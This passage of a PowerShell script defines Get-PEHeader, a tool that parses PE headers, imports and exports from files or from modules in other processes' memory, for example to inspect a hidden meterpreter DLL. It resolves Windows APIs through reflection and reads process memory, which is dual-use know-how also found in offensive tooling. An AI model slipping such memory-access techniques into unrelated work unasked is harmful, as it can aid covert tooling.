Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules.
|
||||
|
||||
.PARAMETER FilePath
|
||||
|
||||
Specifies the path to the portable executable file on disk
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Specifies the process ID.
|
||||
|
||||
.PARAMETER Module
|
||||
|
||||
The name of the module. This parameter is typically only used in pipeline expressions
|
||||
|
||||
.PARAMETER ModuleBaseAddress
|
||||
|
||||
The base address of the module
|
||||
|
||||
.PARAMETER GetSectionData
|
||||
|
||||
Retrieves raw section data.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.Object
|
||||
|
||||
Returns a custom object consisting of the following: compile time, section headers, module name, DOS header, imports, exports, file header, optional header, and PE signature.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Get-Process cmd | Get-PEHeader
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the full PE headers of every loaded module in memory
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Get-ChildItem C:\Windows\*.exe | Get-PEHeader
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the full PE headers of every exe in C:\Windows\
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Get-PEHeader C:\Windows\System32\kernel32.dll
|
||||
|
||||
Module : C:\Windows\System32\kernel32.dll
|
||||
DOSHeader : PE+_IMAGE_DOS_HEADER
|
||||
FileHeader : PE+_IMAGE_FILE_HEADER
|
||||
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
|
||||
SectionHeaders : {.text, .data, .rsrc, .reloc}
|
||||
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
|
||||
dll; VA=0x000CB630}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
|
||||
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB63C}, @{Ordinal=; FunctionName=RtlCaptu
|
||||
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB650}
|
||||
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x000CB66C}...}
|
||||
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x0F022708}, @{Forwar
|
||||
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x0F026A23}, @{ForwardedName=;
|
||||
FunctionName=lstrlen; Ordinal=0x0550; VA=0x0F026A23}, @{ForwardedName=; FunctionN
|
||||
ame=lstrcpynW; Ordinal=0x054F; VA=0x0F04E54E}...}
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> $Proc = Get-Process cmd
|
||||
C:\PS> $Kernel32Base = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'kernel32.dll'}).BaseAddress
|
||||
C:\PS> Get-PEHeader -ProcessId $Proc.Id -ModuleBaseAddress $Kernel32Base
|
||||
|
||||
Module :
|
||||
DOSHeader : PE+_IMAGE_DOS_HEADER
|
||||
FileHeader : PE+_IMAGE_FILE_HEADER
|
||||
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
|
||||
SectionHeaders : {.text, .data, .rsrc, .reloc}
|
||||
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
|
||||
dll; VA=0x77B8B6D9}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
|
||||
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B8B4CB}, @{Ordinal=; FunctionName=RtlCaptu
|
||||
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B95277}
|
||||
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x77B4FF54}...}
|
||||
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x08221720}, @{Forwar
|
||||
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x08225A3B}, @{ForwardedName=;
|
||||
FunctionName=lstrlen; Ordinal=0x0550; VA=0x08225A3B}, @{ForwardedName=; FunctionN
|
||||
ame=lstrcpynW; Ordinal=0x054F; VA=0x0824D566}...}
|
||||
|
||||
Description
|
||||
-----------
|
||||
A PE header is returned upon providing the module's base address. This technique would be useful for dumping the PE header of a rogue module that is invisible to Windows - e.g. a reflectively loaded meterpreter binary (metsrv.dll).
|
||||
|
||||
.NOTES
|
||||
|
||||
Be careful if you decide to specify a module base address. Get-PEHeader does not check for the existence of an MZ header. An MZ header is not a prerequisite for reflectively loading a module in memory. If you provide an address that is not an actual PE header, you could crash the process.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com/2012/07/get-peheader.html
|
||||
#>
|
||||
|
||||
[CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param (
|
||||
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath,
|
||||
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID,
|
||||
[Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module,
|
||||
[Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress,
|
||||
[Parameter()] [Switch] $GetSectionData
|
||||
)
|
||||
|
||||
PROCESS {
|
||||
|
||||
switch ($PsCmdlet.ParameterSetName) {
|
||||
'OnDisk' {
|
||||
|
||||
if ($FilePath.Length -gt 1) {
|
||||
foreach ($Path in $FilePath) { Get-PEHeader $Path }
|
||||
}
|
||||
|
||||
if (!(Test-Path $FilePath)) {
|
||||
Write-Warning 'Invalid path or file does not exist.'
|
||||
return
|
||||
}
|
||||
|
||||
$FilePath = Resolve-Path $FilePath
|
||||
|
||||
if ($FilePath.GetType() -eq [System.Array]) {
|
||||
$ModuleName = $FilePath[0]
|
||||
} else {
|
||||
$ModuleName = $FilePath
|
||||
}
|
||||
|
||||
}
|
||||
'InMemory' {
|
||||
|
||||
if ($Module.Length -gt 1) {
|
||||
foreach ($Mod in $Module) {
|
||||
$BaseAddr = $Mod.BaseAddress
|
||||
Get-PEHeader -ProcessID $ProcessID -Module $Mod -ModuleBaseAddress $BaseAddr
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $ModuleBaseAddress) { return }
|
||||
|
||||
if ($ProcessID -eq $PID) {
|
||||
Write-Warning 'You cannot parse the PE header of the current process. Open another instance of PowerShell.'
|
||||
return
|
||||
}
|
||||
|
||||
if ($Module) {
|
||||
$ModuleName = $Module[0].FileName
|
||||
} else {
|
||||
$ModuleName = ''
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
try { [PE] | Out-Null } catch [Management.Automation.RuntimeException]
|
||||
{
|
||||
$code = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class PE
|
||||
{
|
||||
[Flags]
|
||||
public enum IMAGE_DOS_SIGNATURE : ushort
|
||||
{
|
||||
DOS_SIGNATURE = 0x5A4D, // MZ
|
||||
OS2_SIGNATURE = 0x454E, // NE
|
||||
OS2_SIGNATURE_LE = 0x454C, // LE
|
||||
VXD_SIGNATURE = 0x454C, // LE
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_NT_SIGNATURE : uint
|
||||
{
|
||||
VALID_PE_SIGNATURE = 0x00004550 // PE00
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_FILE_MACHINE : ushort
|
||||
{
|
||||
UNKNOWN = 0,
|
||||
I386 = 0x014c, // Intel 386.
|
||||
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
|
||||
R4000 = 0x0166, // MIPS little-endian
|
||||
R10000 = 0x0168, // MIPS little-endian
|
||||
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
|
||||
ALPHA = 0x0184, // Alpha_AXP
|
||||
SH3 = 0x01a2, // SH3 little-endian
|
||||
SH3DSP = 0x01a3,
|
||||
SH3E = 0x01a4, // SH3E little-endian
|
||||
SH4 = 0x01a6, // SH4 little-endian
|
||||
SH5 = 0x01a8, // SH5
|
||||
ARM = 0x01c0, // ARM Little-Endian
|
||||
THUMB = 0x01c2,
|
||||
ARMNT = 0x01c4, // ARM Thumb-2 Little-Endian
|
||||
AM33 = 0x01d3,
|
||||
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
|
||||
POWERPCFP = 0x01f1,
|
||||
IA64 = 0x0200, // Intel 64
|
||||
MIPS16 = 0x0266, // MIPS
|
||||
ALPHA64 = 0x0284, // ALPHA64
|
||||
MIPSFPU = 0x0366, // MIPS
|
||||
MIPSFPU16 = 0x0466, // MIPS
|
||||
AXP64 = ALPHA64,
|
||||
TRICORE = 0x0520, // Infineon
|
||||
CEF = 0x0CEF,
|
||||
EBC = 0x0EBC, // EFI public byte Code
|
||||
AMD64 = 0x8664, // AMD64 (K8)
|
||||
M32R = 0x9041, // M32R little-endian
|
||||
CEE = 0xC0EE
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_FILE_CHARACTERISTICS : ushort
|
||||
{
|
||||
IMAGE_RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
|
||||
IMAGE_EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
|
||||
IMAGE_LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
|
||||
IMAGE_LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
|
||||
IMAGE_AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
|
||||
IMAGE_LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
|
||||
IMAGE_REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
|
||||
IMAGE_32BIT_MACHINE = 0x0100, // 32 bit public ushort machine.
|
||||
IMAGE_DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
|
||||
IMAGE_REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
|
||||
IMAGE_NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
|
||||
IMAGE_SYSTEM = 0x1000, // System File.
|
||||
IMAGE_DLL = 0x2000, // File is a DLL.
|
||||
IMAGE_UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
|
||||
IMAGE_REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_NT_OPTIONAL_HDR_MAGIC : ushort
|
||||
{
|
||||
PE32 = 0x10b,
|
||||
PE64 = 0x20b
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_SUBSYSTEM : ushort
|
||||
{
|
||||
UNKNOWN = 0, // Unknown subsystem.
|
||||
NATIVE = 1, // Image doesn't require a subsystem.
|
||||
WINDOWS_GUI = 2, // Image runs in the Windows GUI subsystem.
|
||||
WINDOWS_CUI = 3, // Image runs in the Windows character subsystem.
|
||||
OS2_CUI = 5, // image runs in the OS/2 character subsystem.
|
||||
POSIX_CUI = 7, // image runs in the Posix character subsystem.
|
||||
NATIVE_WINDOWS = 8, // image is a native Win9x driver.
|
||||
WINDOWS_CE_GUI = 9, // Image runs in the Windows CE subsystem.
|
||||
EFI_APPLICATION = 10,
|
||||
EFI_BOOT_SERVICE_DRIVER = 11,
|
||||
EFI_RUNTIME_DRIVER = 12,
|
||||
EFI_ROM = 13,
|
||||
XBOX = 14,
|
||||
WINDOWS_BOOT_APPLICATION = 16
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_DLLCHARACTERISTICS : ushort
|
||||
{
|
||||
DYNAMIC_BASE = 0x0040, // DLL can move.
|
||||
FORCE_INTEGRITY = 0x0080, // Code Integrity Image
|
||||
NX_COMPAT = 0x0100, // Image is NX compatible
|
||||
NO_ISOLATION = 0x0200, // Image understands isolation and doesn't want it
|
||||
NO_SEH = 0x0400, // Image does not use SEH. No SE handler may reside in this image
|
||||
NO_BIND = 0x0800, // Do not bind this image.
|
||||
WDM_DRIVER = 0x2000, // Driver uses WDM model
|
||||
TERMINAL_SERVER_AWARE = 0x8000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum IMAGE_SCN : uint
|
||||
{
|
||||
TYPE_NO_PAD = 0x00000008, // Reserved.
|
||||
CNT_CODE = 0x00000020, // Section contains code.
|
||||
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
|
||||
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
|
||||
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
|
||||
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
|
||||
LNK_COMDAT = 0x00001000, // Section contents comdat.
|
||||
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
|
||||
GPREL = 0x00008000, // Section content can be accessed relative to GP
|
||||
MEM_FARDATA = 0x00008000,
|
||||
MEM_PURGEABLE = 0x00020000,
|
||||
MEM_16BIT = 0x00020000,
|
||||
MEM_LOCKED = 0x00040000,
|
||||
MEM_PRELOAD = 0x00080000,
|
||||
ALIGN_1BYTES = 0x00100000,
|
||||
ALIGN_2BYTES = 0x00200000,
|
||||
ALIGN_4BYTES = 0x00300000,
|
||||
ALIGN_8BYTES = 0x00400000,
|
||||
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
|
||||
ALIGN_32BYTES = 0x00600000,
|
||||
ALIGN_64BYTES = 0x00700000,
|
||||
ALIGN_128BYTES = 0x00800000,
|
||||
ALIGN_256BYTES = 0x00900000,
|
||||
ALIGN_512BYTES = 0x00A00000,
|
||||
ALIGN_1024BYTES = 0x00B00000,
|
||||
ALIGN_2048BYTES = 0x00C00000,
|
||||
ALIGN_4096BYTES = 0x00D00000,
|
||||
ALIGN_8192BYTES = 0x00E00000,
|
||||
ALIGN_MASK = 0x00F00000,
|
||||
LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
|
||||
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
|
||||
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
|
||||
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
|
||||
MEM_SHARED = 0x10000000, // Section is shareable.
|
||||
MEM_EXECUTE = 0x20000000, // Section is executable.
|
||||
MEM_READ = 0x40000000, // Section is readable.
|
||||
MEM_WRITE = 0x80000000 // Section is writeable.
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_DOS_HEADER
|
||||
{
|
||||
public IMAGE_DOS_SIGNATURE e_magic; // Magic number
|
||||
public ushort e_cblp; // public bytes on last page of file
|
||||
public ushort e_cp; // Pages in file
|
||||
public ushort e_crlc; // Relocations
|
||||
public ushort e_cparhdr; // Size of header in paragraphs
|
||||
public ushort e_minalloc; // Minimum extra paragraphs needed
|
||||
public ushort e_maxalloc; // Maximum extra paragraphs needed
|
||||
public ushort e_ss; // Initial (relative) SS value
|
||||
public ushort e_sp; // Initial SP value
|
||||
public ushort e_csum; // Checksum
|
||||
public ushort e_ip; // Initial IP value
|
||||
public ushort e_cs; // Initial (relative) CS value
|
||||
public ushort e_lfarlc; // File address of relocation table
|
||||
public ushort e_ovno; // Overlay number
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
|
||||
public string e_res; // This will contain 'Detours!' if patched in memory
|
||||
public ushort e_oemid; // OEM identifier (for e_oeminfo)
|
||||
public ushort e_oeminfo; // OEM information; e_oemid specific
|
||||
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)] // , ArraySubType=UnmanagedType.U4
|
||||
public ushort[] e_res2; // Reserved public ushorts
|
||||
public int e_lfanew; // File address of new exe header
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_FILE_HEADER
|
||||
{
|
||||
public IMAGE_FILE_MACHINE Machine;
|
||||
public ushort NumberOfSections;
|
||||
public uint TimeDateStamp;
|
||||
public uint PointerToSymbolTable;
|
||||
public uint NumberOfSymbols;
|
||||
public ushort SizeOfOptionalHeader;
|
||||
public IMAGE_FILE_CHARACTERISTICS Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_NT_HEADERS32
|
||||
{
|
||||
public IMAGE_NT_SIGNATURE Signature;
|
||||
public _IMAGE_FILE_HEADER FileHeader;
|
||||
public _IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_NT_HEADERS64
|
||||
{
|
||||
public IMAGE_NT_SIGNATURE Signature;
|
||||
public _IMAGE_FILE_HEADER FileHeader;
|
||||
public _IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_OPTIONAL_HEADER32
|
||||
{
|
||||
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
|
||||
public byte MajorLinkerVersion;
|
||||
public byte MinorLinkerVersion;
|
||||
public uint SizeOfCode;
|
||||
public uint SizeOfInitializedData;
|
||||
public uint SizeOfUninitializedData;
|
||||
public uint AddressOfEntryPoint;
|
||||
public uint BaseOfCode;
|
||||
public uint BaseOfData;
|
||||
public uint ImageBase;
|
||||
public uint SectionAlignment;
|
||||
public uint FileAlignment;
|
||||
public ushort MajorOperatingSystemVersion;
|
||||
public ushort MinorOperatingSystemVersion;
|
||||
public ushort MajorImageVersion;
|
||||
public ushort MinorImageVersion;
|
||||
public ushort MajorSubsystemVersion;
|
||||
public ushort MinorSubsystemVersion;
|
||||
public uint Win32VersionValue;
|
||||
public uint SizeOfImage;
|
||||
public uint SizeOfHeaders;
|
||||
public uint CheckSum;
|
||||
public IMAGE_SUBSYSTEM Subsystem;
|
||||
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
|
||||
public uint SizeOfStackReserve;
|
||||
public uint SizeOfStackCommit;
|
||||
public uint SizeOfHeapReserve;
|
||||
public uint SizeOfHeapCommit;
|
||||
public uint LoaderFlags;
|
||||
public uint NumberOfRvaAndSizes;
|
||||
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
|
||||
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_OPTIONAL_HEADER64
|
||||
{
|
||||
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
|
||||
public byte MajorLinkerVersion;
|
||||
public byte MinorLinkerVersion;
|
||||
public uint SizeOfCode;
|
||||
public uint SizeOfInitializedData;
|
||||
public uint SizeOfUninitializedData;
|
||||
public uint AddressOfEntryPoint;
|
||||
public uint BaseOfCode;
|
||||
public ulong ImageBase;
|
||||
public uint SectionAlignment;
|
||||
public uint FileAlignment;
|
||||
public ushort MajorOperatingSystemVersion;
|
||||
public ushort MinorOperatingSystemVersion;
|
||||
public ushort MajorImageVersion;
|
||||
public ushort MinorImageVersion;
|
||||
public ushort MajorSubsystemVersion;
|
||||
public ushort MinorSubsystemVersion;
|
||||
public uint Win32VersionValue;
|
||||
public uint SizeOfImage;
|
||||
public uint SizeOfHeaders;
|
||||
public uint CheckSum;
|
||||
public IMAGE_SUBSYSTEM Subsystem;
|
||||
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
|
||||
public ulong SizeOfStackReserve;
|
||||
public ulong SizeOfStackCommit;
|
||||
public ulong SizeOfHeapReserve;
|
||||
public ulong SizeOfHeapCommit;
|
||||
public uint LoaderFlags;
|
||||
public uint NumberOfRvaAndSizes;
|
||||
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
|
||||
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public uint VirtualAddress;
|
||||
public uint Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_EXPORT_DIRECTORY
|
||||
{
|
||||
public uint Characteristics;
|
||||
public uint TimeDateStamp;
|
||||
public ushort MajorVersion;
|
||||
public ushort MinorVersion;
|
||||
public uint Name;
|
||||
public uint Base;
|
||||
public uint NumberOfFunctions;
|
||||
public uint NumberOfNames;
|
||||
public uint AddressOfFunctions; // RVA from base of image
|
||||
public uint AddressOfNames; // RVA from base of image
|
||||
public uint AddressOfNameOrdinals; // RVA from base of image
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_SECTION_HEADER
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
|
||||
public string Name;
|
||||
public uint VirtualSize;
|
||||
public uint VirtualAddress;
|
||||
public uint SizeOfRawData;
|
||||
public uint PointerToRawData;
|
||||
public uint PointerToRelocations;
|
||||
public uint PointerToLinenumbers;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public IMAGE_SCN Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_IMPORT_DESCRIPTOR
|
||||
{
|
||||
public uint OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
|
||||
public uint TimeDateStamp; // 0 if not bound,
|
||||
// -1 if bound, and real date/time stamp
|
||||
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
|
||||
// O.W. date/time stamp of DLL bound to (Old BIND)
|
||||
public uint ForwarderChain; // -1 if no forwarders
|
||||
public uint Name;
|
||||
public uint FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_THUNK_DATA32
|
||||
{
|
||||
public Int32 AddressOfData; // PIMAGE_IMPORT_BY_NAME
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_THUNK_DATA64
|
||||
{
|
||||
public Int64 AddressOfData; // PIMAGE_IMPORT_BY_NAME
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||
public struct _IMAGE_IMPORT_BY_NAME
|
||||
{
|
||||
public ushort Hint;
|
||||
public char Name;
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
$compileParams = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
$compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll'))
|
||||
$compileParams.GenerateInMemory = $True
|
||||
Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null
|
||||
}
|
||||
|
||||
function Get-DelegateType
|
||||
{
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
|
||||
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
return $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Get-ProcAddress
|
||||
{
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
|
||||
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
# Return the address of the function
|
||||
|
||||
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
$OnDisk = $True
|
||||
if ($PsCmdlet.ParameterSetName -eq 'InMemory') { $OnDisk = $False }
|
||||
|
||||
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate)
|
||||
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
|
||||
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool])
|
||||
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate)
|
||||
|
||||
if ($OnDisk) {
|
||||
|
||||
$FileStream = New-Object System.IO.FileStream($FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
|
||||
$FileByteArray = New-Object Byte[]($FileStream.Length)
|
||||
$FileStream.Read($FileByteArray, 0, $FileStream.Length) | Out-Null
|
||||
$FileStream.Close()
|
||||
$Handle = [System.Runtime.InteropServices.GCHandle]::Alloc($FileByteArray, 'Pinned')
|
||||
$PEBaseAddr = $Handle.AddrOfPinnedObject()
|
||||
|
||||
} else {
|
||||
|
||||
# Size of the memory page allocated for the PE header
|
||||
$HeaderSize = 0x1000
|
||||
# Allocate space for when the PE header is read from the remote process
|
||||
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HeaderSize + 1)
|
||||
# Get handle to the process
|
||||
$hProcess = $OpenProcess.Invoke(0x10, $false, $ProcessID) # PROCESS_VM_READ (0x00000010)
|
||||
|
||||
# Read PE header from remote process
|
||||
if (!$ReadProcessMemory.Invoke($hProcess, $ModuleBaseAddress, $PEBaseAddr, $HeaderSize, [Ref] 0)) {
|
||||
if ($ModuleName) {
|
||||
Write-Warning "Failed to read PE header of $ModuleName"
|
||||
} else {
|
||||
Write-Warning "Failed to read PE header of process ID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER])
|
||||
$PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew)
|
||||
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32])
|
||||
$Architecture = ($NtHeader.FileHeader.Machine).ToString()
|
||||
|
||||
$BinaryPtrWidth = 4
|
||||
|
||||
# Define relevant structure types depending upon whether the binary is 32 or 64-bit
|
||||
if ($Architecture -eq 'AMD64') {
|
||||
|
||||
$BinaryPtrWidth = 8
|
||||
|
||||
$PEStruct = @{
|
||||
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER64]
|
||||
NT_HEADER = [PE+_IMAGE_NT_HEADERS64]
|
||||
}
|
||||
|
||||
